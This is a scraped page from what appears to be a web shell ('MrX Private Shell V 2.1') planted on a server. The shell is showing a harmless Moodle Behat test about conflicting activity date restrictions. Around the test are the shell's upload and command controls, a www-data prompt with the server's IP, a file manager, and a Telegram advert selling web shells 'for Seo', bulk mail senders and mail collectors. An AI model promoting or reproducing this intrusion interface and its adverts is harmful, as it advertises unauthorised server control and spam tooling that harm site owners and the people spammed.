__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@availability @availability_date @javascript
Feature: As a teacher I can set availability dates restriction to an activity and see a warning when conflicting dates are set

  Background:
    Given the following "courses" exist:
      | fullname | shortname | format | enablecompletion |
      | Course 1 | C1        | topics | 1                |
    And the following "users" exist:
      | username |
      | teacher1 |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
    And the following "activities" exist:
      | activity | name      | intro     | introformat | course | content | contentformat | idnumber |
      | page     | PageName1 | PageDesc1 | 1           | C1     | Page 1  | 1             | 1        |

  Scenario: When I set dates to potential conflicting dates in the same subset, I should see a warning.
    Given I am on the PageName1 "page activity editing" page logged in as teacher1
    And I expand all fieldsets
    And I click on "Add restriction..." "button" in the "root" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "1" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "1" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "1" "availability_date > Date Restriction" to "4"
    And I set the field "Direction" in the "1" "availability_date > Date Restriction" to "from"
    And I click on "Add restriction..." "button" in the "root" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "2" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "2" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "2" "availability_date > Date Restriction" to "6"
    And I set the field "Direction" in the "2" "availability_date > Date Restriction" to "until"
    And I click on "Add restriction..." "button" in the "root" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "3" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "3" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "3" "availability_date > Date Restriction" to "6"
    When I set the field "Direction" in the "3" "availability_date > Date Restriction" to "from"
    Then I should see "Conflicts with other date restrictions"

  Scenario: If there are conflicting dates in the same subset, I should not see a warning if condition are separated by "any".
    Given I am on the PageName1 "page activity editing" page logged in as teacher1
    And I expand all fieldsets
    And I click on "Add restriction..." "button" in the "root" "core_availability > Availability Button Area"
    And I click on "Restriction set" "button" in the "Add restriction..." "dialogue"
    And I click on "Add restriction..." "button" in the "1" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "1.1" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "1.1" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "1.1" "availability_date > Date Restriction" to "4"
    And I set the field "Direction" in the "1.1" "availability_date > Date Restriction" to "from"
    And I click on "Add restriction..." "button" in the "1" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "1.2" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "1.2" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "1.2" "availability_date > Date Restriction" to "6"
    And I set the field "Direction" in the "1.2" "availability_date > Date Restriction" to "until"
    And I click on "Add restriction..." "button" in the "1" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "1.3" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "1.3" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "1.3" "availability_date > Date Restriction" to "6"
    And I set the field "Direction" in the "1.3" "availability_date > Date Restriction" to "from"
    When I set the field "Required restrictions" in the "1" "core_availability > Set Of Restrictions" to "any"
    Then I should not see "Conflicts with other date restrictions"

  Scenario: There should a conflicting availability dates are in the same subset separated by "all".
    Given I am on the PageName1 "page activity editing" page logged in as teacher1
    And I expand all fieldsets
    # Root level: Student "must" match the following.
    And I click on "Add restriction..." "button" in the "root" "core_availability > Availability Button Area"
    And I click on "Restriction set" "button" in the "Add restriction..." "dialogue"
    # This is the second level: Student "must" match any of the following.
    And I click on "Add restriction..." "button" in the "1" "core_availability > Availability Button Area"
    And I click on "Restriction set" "button" in the "Add restriction..." "dialogue"
    # And now the third and final level.
    And I click on "Add restriction..." "button" in the "1.1" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "1.1.1" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "1.1.1" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "1.1.1" "availability_date > Date Restriction" to "2"
    And I set the field "Direction" in the "1.1.1" "availability_date > Date Restriction" to "from"
    And I click on "Add restriction..." "button" in the "1.1" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "1.1.2" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "1.1.2" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "1.1.2" "availability_date > Date Restriction" to "3"
    And I set the field "Direction" in the "1.1.2" "availability_date > Date Restriction" to "until"
    # Then add a restriction to the second level.
    And I click on "Add restriction..." "button" in the "1" "core_availability > Availability Button Area"
    And I click on "Restriction set" "button" in the "Add restriction..." "dialogue"
    And I click on "Add restriction..." "button" in the "1.2" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "1.2.1" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "1.2.1" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "1.2.1" "availability_date > Date Restriction" to "4"
    And I set the field "Direction" in the "1.2.1" "availability_date > Date Restriction" to "from"
    And I click on "Add restriction..." "button" in the "1.2" "core_availability > Availability Button Area"
    And I click on "Date" "button" in the "Add restriction..." "dialogue"
    And I set the field "year" in the "1.2.2" "availability_date > Date Restriction" to "2023"
    And I set the field "Month" in the "1.2.2" "availability_date > Date Restriction" to "April"
    And I set the field "day" in the "1.2.2" "availability_date > Date Restriction" to "3"
    When I set the field "Direction" in the "1.2.2" "availability_date > Date Restriction" to "until"
    # Same subset, we can detect conflicts.
    Then I should see "Conflicts with other date restrictions"

Filemanager

Name Type Size Permission Actions
availability_date.feature File 2.03 KB 0777
availability_date_conflict.feature File 8.22 KB 0777
behat_availability_date.php File 1.38 KB 0777
Filemanager